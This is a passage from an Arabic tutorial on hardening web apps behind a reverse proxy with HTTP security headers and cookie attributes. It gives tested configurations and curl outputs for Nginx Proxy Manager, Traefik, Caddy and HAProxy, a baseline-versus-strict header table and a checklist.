الترويسة Permissions-Policy تحدد ميزات المتصفح التي يمكن أن تطلبها الصفحة والإطارات داخلها، والقيمة () تعني أن لا أحد يستطيع طلبها، وself لنفس الأصل فقط، و* للجميع، فالسطر camera=(), microphone=(), geolocation=() يعني أن السكربت المحقون لا يستطيع حتى أن يعرض نافذة طلب الإذن. ولاحظ أن توثيق MDN يصنفها محدودة الدعم، أي أن بعض المتصفحات المنتشرة لا تطبقها، لذلك اعتبرها طبقة إضافية وليست الحماية الأساسية، ولا تضع camera=() على تطبيق اجتماعات مرئية مثل Jitsi لأنه يحتاج إلى الكاميرا والميكروفون.
ترويسات Cross-Origin الثلاث: متى تحتاجها؟
هذه الترويسات أحدث من غيرها، ولا تحتاجها أغلب التطبيقات في المجموعة الأساسية، ولكنها مهمة في حالات محددة:
Cross-Origin-Opener-Policyواختصاراً COOP: القيمةsame-originتفصل صفحتك عن أي نافذة فتحتها من موقع آخر أو فتحها موقع آخر، فلا يصل أي منهما إلى الآخر عبرwindow.opener، وهذا يغلق باب هجمات التسريب بين المواقع XS-Leaks. ولكنها تكسر النوافذ المنبثقة Popups للدخول عبر OAuth أو الدفع، لذلك تجد القيمةsame-origin-allow-popupsلهذه الحالة.Cross-Origin-Resource-Policyواختصاراً CORP: يضعها السيرفر على الموارد نفسها، كالصور والملفات، فالقيمةsame-originتمنع أي موقع آخر من تحميلها داخل صفحاته، وهذا يحمي من هجمات من نوع Spectre تقرأ الموارد عبر قنوات جانبية، ومناسبة جداً للوحات الإدارة والملفات الخاصة.Cross-Origin-Embedder-Policyواختصاراً COEP: القيمةrequire-corpتمنع صفحتك من تحميل أي مورد من موقع آخر إلا إذا سمح بذلك عبر CORP أو CORS، ومعها COOP تحصل الصفحة على ما يسمى العزل بين المواقع Cross-Origin Isolation، وهو شرط لاستخدام ميزات مثلSharedArrayBuffer. لذلك لا تضفها إلا إذا طلبها التطبيق نفسه، والسبب أنها تكسر كل صورة أو خط أو سكربت خارجي لا يرسل الترويسات المطلوبة.
CORS: ترويسة تفتح الباب، لا تقفله
هناك خلط شائع بين ترويسات الأمان وترويسات CORS، فالمتصفح يمنع افتراضياً أي صفحة من قراءة استجابة من موقع آخر، وهذا ما يسمى سياسة الأصل الواحد Same-Origin Policy، أما CORS فهي طريقة السيرفر ليخفف هذا المنع لمواقع محددة، أي أنها تفتح باباً ولا تضيف حماية. لذلك لا تضف Access-Control-Allow-Origin إلى قائمة الترويسات المشتركة في ال Reverse Proxy، وإنما على واجهة ال API التي تحتاجها فقط، وانتبه إلى ثلاثة أخطاء:
Access-Control-Allow-Origin: *معAccess-Control-Allow-Credentials: true: يرفضها المتصفح كما يبين توثيق MDN، فيجرب المطور الحل الأسوأ على الإطلاق، وهو أن يعيد في الترويسة قيمةOriginالتي أرسلها الطلب كما هي، وبهذا يسمح لأي موقع في العالم أن يقرأ بيانات المستخدم المسجل الدخول.- القيمة
null: بعض الشروحات تضيفها للاختبار المحلي، ولكن المهاجم يستطيع أن يرسل طلباً بأصلnullمن إطار معزول Sandboxed iframe، لذلك لا تضعها في قائمة الأصول المسموحة. - نسيان
Vary: Origin: إذا كان السيرفر يختار قيمةAccess-Control-Allow-Originبحسب الطلب، فيجب أن يرسل معهاVary: Origin، والسبب أن ال Cache قد يحفظ استجابة موقع ويعيدها لموقع آخر.
والقاعدة الصحيحة قائمة صريحة بالأصول المسموحة، مثل Access-Control-Allow-Origin: https://app.example.com، كما يوصي دليل OWASP لترويسات HTTP، وفي Traefik تجد لها الخيار accessControlAllowOriginList في نفس ال Middleware الذي سوف نستخدمه بعد قليل.
ملفات تعريف الارتباط: Secure وHttpOnly وSameSite
رأيت في تجربة Report-Only أن السكربت المحقون قرأ session=abc123 وأرسله، وهذا بالضبط ما تمنعه خصائص Set-Cookie:
Secure: لا يرسل ملف تعريف الارتباط إلا عبر HTTPS، فلا يقرؤه من يتنصت على طلب HTTP.HttpOnly: لا يستطيع JavaScript قراءته عبرdocument.cookie، ويبقى المتصفح يرسله مع الطلبات كالمعتاد، وهذه الخاصية وحدها كانت سوف تمنع سرقة الجلسة في التجربة السابقة.SameSite: يحدد هل يرسل مع الطلبات القادمة من موقع آخر، فالقيمةStrictلا ترسله إلا من نفس الموقع، وLaxترسله أيضاً عند الانتقال إلى موقعك عبر رابط عادي، وهي الافتراضية في كثير من المتصفحات، وNoneترسله دائماً وتشترطSecure.- البادئة
__Host-: إذا بدأ اسم ملف تعريف الارتباط بها فلن يقبله المتصفح إلا إذا كان معهSecureوPath=/ودونDomain، أي أنه مرتبط بهذا الاسم بالضبط، فلا يستطيع نطاق فرعي مخترق أن يكتب فوقه، ومثاله الكامل من توثيق MDN:Set-Cookie: __Host-sessionId=abc123; Secure; HttpOnly; Path=/; SameSite=Strict.
والمكان الصحيح لهذه الخصائص هو التطبيق نفسه، فإعدادات الجلسة في كل إطار عمل فيها خيار لكل خاصية، ولكن إذا كان التطبيق جاهزاً ولا يضيفها، فتستطيع أن تضيفها في ال Reverse Proxy كما سيأتي في قسم الإعداد، وانتبه إلى أن HttpOnly تكسر أي تطبيق يقرأ ملف تعريف الارتباط من JavaScript عن قصد، لذلك اختبر الدخول والخروج بعد التعديل.
Cache-Control للصفحات الخاصة
الصفحة التي فيها بيانات المستخدم بعد الدخول لا يجب أن تحفظ في Cache مشترك، والسبب أن الخادم الوسيط أو ال CDN قد يحفظ نسخة مستخدم ويعيدها لآخر، ويحذر توثيق MDN من أن نسيان ذلك قد يسرب البيانات الشخصية. والقيمة private تسمح بالحفظ في متصفح المستخدم فقط، وno-store تمنع الحفظ في أي مكان، ويوصي دليل OWASP بها للاستجابات الحساسة. ولاحظ أن no-cache لا تعني «لا تحفظ»، وإنما «احفظ ولكن تحقق من السيرفر قبل كل استخدام»، ويذكر MDN أيضاً أن زر الرجوع Back قد يعرض لقطة محفوظة من الصفحة دون أن يتحقق، فلا تعتمد على هذه الترويسة لإخفاء صفحة بعد تسجيل الخروج. وأغلب التطبيقات الجاهزة ترسل هذه الترويسة بنفسها على صفحاتها الخاصة، فإذا أضفتها من ال Reverse Proxy فضعها على المسارات الخاصة أو لوحات الإدارة فقط، ولا تضعها على الملفات الثابتة لأنها تلغي فائدة ال Cache.
حذف Server وX-Powered-By
الترويسة Server تعلن اسم السيرفر وأحياناً إصداره، وX-Powered-By تعلن لغة التطبيق وإصدارها، كما في X-Powered-By: PHP/8.4.12 في أول المقال، والمستخدم لا يحتاج إلى أي منهما، أما أداة الفحص فتبحث بهما مباشرة عن ثغرات هذا الإصدار، ودليل OWASP يوصي بحذف X-Powered-By كلياً وبحذف Server أو جعلها قيمة لا تكشف شيئاً. ولا تعتبر حذفها حماية، فالإصدار القديم يبقى قديماً، وإنما هي معلومة مجانية لا داعي لأن تعطيها.
ترويسات انتهى زمنها: لا تضفها
ما زلت تجد في الشروحات القديمة ترويسات لم يعد لها مكان، ونسخها كما هي يعطيك إحساساً زائفاً بالأمان:
X-XSS-Protection: كانت تتحكم في فلتر XSS في Internet Explorer وChrome وSafari، وقد أزالت المتصفحات الحديثة هذا الفلتر، ويصنفها MDN مهجورة وغير قياسية، ويحذر من أنها قد تخلق ثغرات XSS في مواقع آمنة أصلاً، لأن الفلتر كان يحذف أجزاء من الصفحة. لذلك لا تضفها، وإذا أردت أن تكتب شيئاً فالقيمة التي يوصي بها OWASP هيX-XSS-Protection: 0التي تعطل الفلتر، واعتمد على CSP بدلاً منها.Expect-CT: كانت تطلب من Chrome أن يتحقق من سجلات شفافية الشهادات Certificate Transparency، ولكن Chrome أصبح يفرض ذلك على كل الشهادات، فأعلن إهمالها في الإصدار 107، ويقول OWASP صراحة: لا تستخدمها.X-Frame-Options: ALLOW-FROM: كما ذكرنا، تتجاهلها المتصفحات الحديثة، فإذا كانت في إعدادك فالصفحة غير محمية من الإطارات إطلاقاً، واستبدلها بـframe-ancestors.
الإعداد الكامل في كل Reverse Proxy
سوف نضيف في كل أداة نفس المجموعة الأساسية التي نوصي بها لأي تطبيق تستضيفه، وهي:
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Content-Security-Policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'
Content-Security-Policy-Report-Only: default-src 'self'مع حذف Server وX-Powered-By، وإضافة Secure وHttpOnly وSameSite=Lax إلى ملفات تعريف الارتباط حيث تسمح الأداة. وفي هذه المجموعة لاحظ التالي:
- قيمة HSTS هنا هي المرحلة الأخيرة، فإذا كان النطاق جديداً على HSTS فابدأ بـ
max-age=300كما في جدول المراحل، وإذا كان في نطاقك اسم فرعي لا يعمل عبر HTTPS فاحذفincludeSubDomains. - نفعل من CSP الجزء الذي لا يكسر أي تطبيق تقريباً، وهو منع الإطارات والوسم
<base>والإضافات القديمة، ونضع السياسة الكاملةdefault-src 'self'بالصيغة Report-Only حتى تبنيها لكل تطبيق كما شرحنا. - كل أداة سوف تختبرها بنفس الطريقة، وهي طلب HTTPS إلى النطاق بالأمر
curl -sI.
في Nginx Proxy Manager
في NPM افتح ال Proxy Host ثم تبويب Advanced، وهناك تكتب سطور Nginx التي يضعها NPM داخل كتلة server الخاصة بالمضيف كما يبين توثيق الإعداد المتقدم. والحل الذي تجده في أغلب الشروحات هو التوجيه add_header:
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;احفظ ثم اختبر، والمخرج سوف يكون كما يلي:
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 05 Oct 2026 09:48:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 596
Connection: keep-alive
Accept-Ranges: bytes
Etag: "dlwt1lydmdr4gk"
Last-Modified: Mon, 05 Oct 2026 09:42:14 GMT
Set-Cookie: session=abc123; Path=/
Vary: Accept-Encoding
X-Powered-By: PHP/8.4.12
X-Served-By: app.example.comفالترويستان غير موجودتين، والسبب قاعدة في Nginx، وهي أن التوجيه add_header لا يورث من كتلة server إلى كتلة location إذا كانت الكتلة الداخلية تحتوي add_header خاصاً بها، وNPM يضع في location / الملف conf.d/include/proxy.conf الذي يبدأ بالسطر add_header X-Served-By $host;، وبالتالي تلغى ترويساتك كلها بصمت. والحل الأنسب هو التوجيه more_set_headers من وحدة headers-more المدمجة في OpenResty الذي يقوم عليه NPM، فهي لا تتأثر بهذه القاعدة وتستطيع أيضاً حذف الترويسات، ومعها التوجيه proxy_cookie_flags من Nginx لخصائص ملفات تعريف الارتباط. والإعداد الكامل في تبويب Advanced:
more_set_headers "Strict-Transport-Security: max-age=31536000; includeSubDomains";
more_set_headers "X-Content-Type-Options: nosniff";
more_set_headers "X-Frame-Options: DENY";
more_set_headers "Referrer-Policy: strict-origin-when-cross-origin";
more_set_headers "Permissions-Policy: camera=(), microphone=(), geolocation=()";
more_set_headers "Content-Security-Policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'";
more_set_headers "Content-Security-Policy-Report-Only: default-src 'self'";
more_clear_headers Server X-Powered-By;
proxy_cookie_flags ~ secure httponly samesite=lax;واترك خيار HSTS في تبويب SSL معطلاً، وأبق Force SSL مفعلاً، ثم اختبر:
curl -sI https://app.example.com/والمخرج سوف يكون كما يلي:
HTTP/1.1 200 OK
Date: Mon, 05 Oct 2026 09:49:04 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 596
Connection: keep-alive
Accept-Ranges: bytes
Etag: "dlwt1lydmdr4gk"
Last-Modified: Mon, 05 Oct 2026 09:42:14 GMT
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Content-Security-Policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'
Content-Security-Policy-Report-Only: default-src 'self'
X-Served-By: app.example.comفي الإعداد أعلاه لاحظ التالي:
- اختفت
Server: openrestyوX-Powered-By، وحمل ملف تعريف الارتباط الخصائص الثلاث، أماX-Served-Byفيضيفها NPM نفسه ولا تكشف إلا اسم النطاق الذي يعرفه الزائر. - كتبنا HSTS بأيدينا بدلاً من خيار التبويب، والسبب أن الخيار يرسل
max-age=63072000; preloadدائماً كما رأيت في أول المقال، أما هنا فأنت تختار المدة، وتبدأ بـ300وترفعها على مراحل. - لأن
more_set_headersتعمل على مستوىserver، فهي تظهر أيضاً على التحويل301عبر HTTP، ومعهاStrict-Transport-Security، وهذا لا يضر، لأن المتصفح يتجاهل HSTS إذا وصلت عبر HTTP كما يشترط المعيار.
في Traefik
في Traefik تضيف الترويسات عبر ال Middleware من نوع headers، وكما في دليل Traefik نعرفه مرة واحدة في ملف داخل مجلد الإعداد الديناميكي Dynamic Configuration، ثم نربطه بأي Router:
http:
middlewares:
security-headers:
headers:
stsSeconds: 31536000
stsIncludeSubdomains: true
contentTypeNosniff: true
frameDeny: true
referrerPolicy: "strict-origin-when-cross-origin"
permissionsPolicy: "camera=(), microphone=(), geolocation=()"
contentSecurityPolicy: "frame-ancestors 'none'; base-uri 'self'; object-src 'none'"
contentSecurityPolicyReportOnly: "default-src 'self'"
customResponseHeaders:
Server: ""
X-Powered-By: ""
routers:
app:
rule: "Host(`app.example.com`)"
entryPoints: [websecure]
tls: {}
middlewares: [security-headers]
service: app
services:
app:
loadBalancer:
servers:
- url: "http://app:80"والمخرج سوف يكون كما يلي:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 596
Content-Security-Policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'
Content-Security-Policy-Report-Only: default-src 'self'
Content-Type: text/html; charset=utf-8
Date: Mon, 05 Oct 2026 09:44:00 GMT
Etag: "dlwt1lydmdr4gk"
Last-Modified: Mon, 05 Oct 2026 09:42:14 GMT
Permissions-Policy: camera=(), microphone=(), geolocation=()
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=abc123; Path=/
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: DENYفي الإعداد أعلاه لاحظ التالي:
- القيمة الفارغة في
customResponseHeadersتعني حذف الترويسة كما يبين التوثيق، لذلك اختفتServerوX-Powered-Byاللتان يرسلهما التطبيق. - يضيف Traefik
Strict-Transport-Securityعلى طلبات HTTPS فقط، وهذا هو السلوك الصحيح، وإذا كان أمامه جهاز آخر ينهي TLS ويصله الطلب عبر HTTP فالخيارforceSTSHeader: trueيضيفها على كل الطلبات، أماstsPreload: trueفيضيفpreload، فلا تفعله إلا عن قرار. - ملف تعريف الارتباط بقي كما أرسله التطبيق، والسبب أن هذا ال Middleware لا يملك خياراً لتعديل خصائص
Set-Cookie، لذلك أصلحها في إعداد التطبيق نفسه.
في Caddy
في Caddy نستخدم التوجيه header داخل مقتطف Snippet نستورده في كل موقع كما في دليل Caddy، ونعدل ملفات تعريف الارتباط بالخيار header_down داخل reverse_proxy:
(security) {
header {
Strict-Transport-Security "max-age=31536000; includeSubDomains"
X-Content-Type-Options "nosniff"
X-Frame-Options "DENY"
Referrer-Policy "strict-origin-when-cross-origin"
Permissions-Policy "camera=(), microphone=(), geolocation=()"
Content-Security-Policy "frame-ancestors 'none'; base-uri 'self'; object-src 'none'"
Content-Security-Policy-Report-Only "default-src 'self'"
-Server
-X-Powered-By
-Via
}
}
app.example.com {
import security
reverse_proxy app:80 {
header_down Set-Cookie "^(.*)$" "$1; Secure; HttpOnly; SameSite=Lax"
}
handle_errors {
import security
respond "{err.status_code} {err.status_text}"
}
}والمخرج سوف يكون كما يلي:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 596
Content-Security-Policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'
Content-Security-Policy-Report-Only: default-src 'self'
Content-Type: text/html; charset=utf-8
Date: Mon, 05 Oct 2026 09:54:41 GMT
Etag: "dlwt1lydmdr4gk"
Last-Modified: Mon, 05 Oct 2026 09:42:14 GMT
Permissions-Policy: camera=(), microphone=(), geolocation=()
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: DENYفي الإعداد أعلاه لاحظ التالي:
- العلامة
-قبل اسم الترويسة تعني حذفها، وViaيضيفهاreverse_proxyنفسه. - الخيار
header_downيأخذ تعبيراً نمطياً Regular Expression ويضيف الخصائص إلى نهاية القيمة، فإذا كان التطبيق يضيف بعضها أصلاً فسوف تظهر مرتين، وهذا لا يكسر شيئاً ولكنه علامة على أن الإصلاح مكانه التطبيق. - الكتلة
handle_errorsتجعل الأخطاء التي يولدها Caddy نفسه تحمل نفس الترويسات، أما الخطأ الذي يرسله التطبيق، كالرمز404، فيمر بالمقتطف كأي استجابة، وهذا مخرج طلب لصفحة غير موجودة:
HTTP/1.1 404 Not Found
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 0
Content-Security-Policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'
Content-Security-Policy-Report-Only: default-src 'self'
Date: Mon, 05 Oct 2026 09:44:09 GMT
Permissions-Policy: camera=(), microphone=(), geolocation=()
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=abc123; Path=/
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENYفي HAProxy
في HAProxy تضيف الترويسات بالتوجيه http-response set-header وتحذفها بالتوجيه http-response del-header وتعدلها بالتوجيه http-response replace-header، وكلها موثقة في دليل إعداد HAProxy 3.4، ونكتبها داخل ال frontend الذي ينهي TLS، كما في هيكل الملف الذي شرحناه في دليل HAProxy:
frontend web
bind :80
bind :443 ssl crt /etc/haproxy/certs/app.pem
http-request redirect scheme https code 301 unless { ssl_fc }
http-response set-header Strict-Transport-Security "max-age=31536000; includeSubDomains" if { ssl_fc }
http-response set-header X-Content-Type-Options "nosniff"
http-response set-header X-Frame-Options "DENY"
http-response set-header Referrer-Policy "strict-origin-when-cross-origin"
http-response set-header Permissions-Policy "camera=(), microphone=(), geolocation=()"
http-response set-header Content-Security-Policy "frame-ancestors 'none'; base-uri 'self'; object-src 'none'"
http-response set-header Content-Security-Policy-Report-Only "default-src 'self'"
http-response del-header Server
http-response del-header X-Powered-By
http-response replace-header Set-Cookie (.*) "\1; Secure; HttpOnly; SameSite=Lax"
default_backend be_appوالمخرج سوف يكون كما يلي:
HTTP/1.1 200 OK
accept-ranges: bytes
content-length: 596
content-type: text/html; charset=utf-8
etag: "dlwt1lydmdr4gk"
last-modified: Mon, 05 Oct 2026 09:42:14 GMT
set-cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
vary: Accept-Encoding
date: Mon, 05 Oct 2026 09:54:41 GMT
strict-transport-security: max-age=31536000; includeSubDomains
x-content-type-options: nosniff
x-frame-options: DENY
referrer-policy: strict-origin-when-cross-origin
permissions-policy: camera=(), microphone=(), geolocation=()
content-security-policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'
content-security-policy-report-only: default-src 'self'في الإعداد أعلاه لاحظ التالي:
- الشرط
if { ssl_fc }يضيف HSTS على اتصالات TLS فقط، فالتحويل301عبر HTTP يخرج دونها. - يكتب HAProxy أسماء الترويسات بحروف صغيرة، وهذا صحيح لأن أسماء الترويسات في HTTP لا تفرق بين الحروف الكبيرة والصغيرة، والمتصفح يقرؤها بنفس الطريقة.
- الرمز
\1فيreplace-headerهو القيمة الأصلية كاملة، فنضيف بعدها الخصائص الثلاث.
كيف تختبر الترويسات؟
الأداة الأولى هي curl، فالأمر curl -sI https://app.example.com/ يرسل طلب HEAD ويطبع الترويسات فقط، كما رأيت في كل قسم. ولكن بعض التطبيقات ترد على HEAD بشكل مختلف عن GET، وبعض الترويسات تختلف من صفحة إلى أخرى، لذلك اختبر أيضاً بطلب GET عادي مع طباعة الترويسات فقط، وعلى صفحة الدخول ولوحة الإدارة وصفحة خطأ، وليس الصفحة الرئيسية وحدها:
curl -s -D - -o /dev/null https://app.example.com/login
curl -s -D - -o /dev/null https://app.example.com/does-not-existوالأداة الثانية هي أدوات المطور في المتصفح، ففي لوحة Network في Chrome تضغط على الطلب فترى Response Headers كما وصلت إلى المتصفح فعلاً، أي بعد Cloudflare أو أي جهاز في الطريق، وفي لوحة Console ترى كل مخالفة CSP برسالة تبدأ بـ «Refused to»، وهذا هو المكان الذي تبني فيه السياسة صفحة بعد صفحة.
والأداة الثالثة فحص من الخارج، وأشهرها اثنتان:
- HTTP Observatory من Mozilla، وأصبح جزءاً من موقع MDN، ويبدأ من 100 نقطة ويخصم عند غياب ترويسة أو ضعف إعدادها، ثم يضيف نقاطاً إضافية إذا وصلت إلى 90 أو أكثر، فتأخذ درجة من A+ إلى F كما يشرح جدول الاختبارات والدرجات. وله واجهة JSON مجانية تستخدمها في سكربت أو في Pipeline كما يبين مستودع المشروع، وتعيد نتيجة محفوظة إذا كررت الفحص لنفس النطاق خلال دقيقة.
- securityheaders.com: صفحة فحص مجانية تعطي أيضاً درجة من A+ إلى F مع قائمة بالترويسات الناقصة، وتعمل من المتصفح فقط، فهي ترد على الطلبات الآلية مثل
curlبالرمز403من Cloudflare.
والمثال التالي يفحص example.com عبر واجهة Observatory:
curl -s -X POST "https://observatory-api.mdn.mozilla.net/api/v2/scan?host=example.com"والمخرج سوف يكون كما يلي:
{"id":125716618,"details_url":"https://developer.mozilla.org/en-US/observatory/analyze?host=example.com","algorithm_version":6,"scanned_at":"2026-10-05T09:36:55.319Z","error":null,"grade":"F","score":10,"status_code":200,"tests_failed":5,"tests_passed":7,"tests_quantity":12}فالموقع حصل على 10 نقاط ودرجة F، وفشل في 5 اختبارات من 12، والتفاصيل في الرابط details_url. ولا تجعل الدرجة هدفاً بحد ذاتها، فالدرجة A+ على صفحة ثابتة لا تعني شيئاً إذا كانت لوحة الإدارة على نطاق آخر دون أي ترويسة، وبعض الخصومات لا تخص تطبيقك، كغياب CSP مفعلة على تطبيق لا تملك كوده، والأهم أن تفهم كل سطر في التقرير وتقرر فيه.
المجموعة الأساسية والمجموعة الأشد
ليست كل التطبيقات تحتاج إلى نفس الدرجة من التشدد، فالمجموعة الأساسية تضعها على كل تطبيق دون تفكير طويل، والمجموعة الأشد تضعها على لوحات الإدارة والتطبيقات التي فيها بيانات حساسة، بعد أن تختبرها على كل صفحة. والجدول التالي يجمعهما:
| الترويسة | المجموعة الأساسية | المجموعة الأشد |
|---|---|---|
Strict-Transport-Security | max-age=31536000; includeSubDomains بعد المراحل | نفسها، وpreload فقط بقرار مدروس للنطاق كله |
Content-Security-Policy | frame-ancestors 'none'; base-uri 'self'; object-src 'none' | سياسة كاملة مبنية على nonce أو hash، مع form-action 'self' وreport-to |
Content-Security-Policy-Report-Only | default-src 'self' | السياسة الأشد القادمة تختبرها بجانب المفعلة |
X-Content-Type-Options | nosniff | nosniff |
X-Frame-Options | DENY أو SAMEORIGIN | DENY |
Referrer-Policy | strict-origin-when-cross-origin | no-referrer |
Permissions-Policy | camera=(), microphone=(), geolocation=() | كل ميزة لا يحتاجها التطبيق بالقيمة () |
Cross-Origin-Opener-Policy | لا شيء | same-origin، أو same-origin-allow-popups مع OAuth |
Cross-Origin-Resource-Policy | لا شيء | same-origin |
Cache-Control | كما يرسلها التطبيق | no-store على صفحات الإدارة والبيانات الخاصة |
| ملفات تعريف الارتباط | Secure; HttpOnly; SameSite=Lax | البادئة __Host- وSameSite=Strict من التطبيق |
Server وX-Powered-By | محذوفتان | محذوفتان |
وهذا مثال للإضافات الأشد على لوحة إدارة في Caddy، فوق المقتطف الأساسي:
admin.example.com {
import security
header {
Cross-Origin-Opener-Policy "same-origin"
Cross-Origin-Resource-Policy "same-origin"
Cache-Control "no-store"
}
reverse_proxy app:80
}والمخرج سوف يكون كما يلي:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: no-store
Content-Length: 596
Content-Security-Policy: frame-ancestors 'none'; base-uri 'self'; object-src 'none'
Content-Security-Policy-Report-Only: default-src 'self'
Content-Type: text/html; charset=utf-8
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Date: Mon, 05 Oct 2026 09:54:54 GMT
Etag: "dlwt1lydmdr4gk"
Last-Modified: Mon, 05 Oct 2026 09:42:14 GMT
Permissions-Policy: camera=(), microphone=(), geolocation=()
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=abc123; Path=/
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: DENYوبالطبع فهذا المثال لا يضيف خصائص ملفات تعريف الارتباط لأننا لم نضع فيه header_down، فإذا نقلته إلى تطبيقك فأضفه كما في قسم Caddy أو أصلحه في التطبيق.
قائمة تحقق لكل تطبيق
- افحص استجابة التطبيق قبل أي إعداد بالأمر
curl -sI، واكتب ما يرسله من ترويسات أمان بنفسه، وخصوصاً CSP. - HSTS: ابدأ بـ
max-age=300، وراجع كل اسم فرعي قبلincludeSubDomains، وارفع المدة على مراحل، ولا تضفpreloadإلا بقرار للنطاق كله، وفي NPM اكتبها في تبويب Advanced بدلاً من الخيار الذي يضيفpreload. - أضف
X-Content-Type-OptionsوX-Frame-OptionsوReferrer-PolicyوPermissions-Policy، مع مراعاة التطبيقات التي تعرض في إطار أو تحتاج الكاميرا. - فعل من CSP الجزء الآمن
frame-ancestorsوbase-uriوobject-src، وضع السياسة الكاملة بالصيغة Report-Only معreport-to، واقرأ التقارير أسبوعاً قبل أن تفعلها. - لا تستخدم
'unsafe-inline'فيscript-src، واستخدم nonce من التطبيق أو hash للسكربت الثابت. - تأكد أن ملف تعريف الارتباط الذي يحمل الجلسة فيه
SecureوHttpOnlyوSameSite. - لا تضع ترويسات CORS على كل التطبيقات، وعلى ال API اكتب الأصول المسموحة صراحة ولا تعكس
Origin. - احذف
ServerوX-Powered-By، ولا تضفX-XSS-ProtectionولاExpect-CT. - اختبر صفحة الدخول ولوحة الإدارة وصفحة خطأ، وليس الصفحة الرئيسية وحدها، ثم افحص النطاق في HTTP Observatory، وأعد الفحص بعد كل تحديث للتطبيق أو لل Reverse Proxy.
وتجد إعداد كل Reverse Proxy من البداية، وبقية طبقات الحماية، وكيف يعرف تطبيقك أنه خلف HTTPS، في الأدلة التالية:
دليلNginx Proxy Manager: نطاقات وشهادات TLS لكل خدماتكبدلاً من فتح منفذ مستقل لكل تطبيق، يتيح لك Nginx Proxy Manager أن تربط كل خدمة بنطاقها وتمنحها شهادة HTTPS مجانية من واجهة بسيطة، دون أن تكتب إعدادات Nginx بنفسك.
دليلتثبيت Traefik على خادمك: Reverse Proxy لحاويات Docker بشهادات TLS تلقائيةمع Traefik، يحصل كل تطبيق على نطاقه وشهادة HTTPS بمجرد إضافة بضعة أسطر إلى ملف Compose الخاص به. نثبته على Ubuntu 24.04، ونحمي لوحة التحكم، ونجهز النسخ الاحتياطي والتحديث.
دليلتثبيت Caddy على خادمك: Reverse Proxy بشهادات HTTPS تلقائيةيمنح Caddy كل موقع شهادة HTTPS تلقائياً بملف إعداد من بضعة أسطر. نثبته على Ubuntu مع Docker Compose، ونربط به تطبيقاتك بأمان، ونجهز النسخ الاحتياطي والتحديث وحلول المشكلات الشائعة.
دليلHAProxy على Ubuntu: Reverse Proxy وLoad Balancer أمام خدماتكعندما يعمل تطبيقك على أكثر من خادم، يوزع HAProxy الطلبات بينها ويستبعد المعطل منها تلقائياً. نثبته مع Docker Compose، ونكتب إعداده خطوة بخطوة، ونضيف شهادات HTTPS.
دليلحماية تطبيقات الويب على مستوى HTTP: طبقات أمان أمام كل تطبيق في الـ Reverse Proxyكلمة المرور وحدها لا تحمي تطبيقاً مكشوفاً على الإنترنت، لذلك نبني في هذا الدليل أمام كل تطبيق طبقات حماية في الـ Reverse Proxy نفسه، بإعدادات مختبرة على Nginx Proxy Manager وTraefik وCaddy.
دليلتطبيقك خلف Reverse Proxy: عنوان الزائر الحقيقي وHTTPS والروابط الصحيحةإذا كان تطبيقك يرى عنوان الـ Proxy بدلاً من عنوان الزائر، أو يولد روابط http مع أن موقعك يعمل بـ HTTPS، فستعرف هنا السبب والإعداد الصحيح لإطار عملك دون أن تفتح باباً لانتحال العناوين.الخلاصة
وصلنا لنهاية الموضوع، وأهم ما فيه:
- ترويسات الأمان تعليمات يرسلها السيرفر وينفذها المتصفح، فهي تحمي المستخدم من أن يستخدم المتصفح ضده، ولا تصلح ثغرة في التطبيق نفسه.
- HSTS يغلق ثغرة الطلب الأول عبر HTTP، ولكنه يصعب التراجع عنه، لذلك فعله على مراحل من خمس دقائق إلى سنة، وراجع كل نطاق فرعي قبل
includeSubDomains، وتذكر أن الخروج من القائمة المسبقة يأخذ شهوراً، وأن خيار NPM يضيفpreloadدائماً. - CSP هي أقوى حماية ضد XSS إذا بنيت على nonce أو hash، أما
'unsafe-inline'فيscript-srcفتلغي فائدتها، وابدأ دائماً بالصيغة Report-Only معreport-to، واعلم أنها لا تمنع شيئاً. - أضف
nosniffوX-Frame-Optionsمعframe-ancestorsوReferrer-PolicyوPermissions-Policyلكل تطبيق، واترك COOP وCORP وCOEP للحالات التي تحتاجها. - CORS تفتح الباب ولا تقفله، وملف تعريف الارتباط الذي يحمل الجلسة يحتاج إلى
SecureوHttpOnlyوSameSite، والصفحات الخاصة إلىCache-Control: no-storeأوprivate. - في NPM استخدم
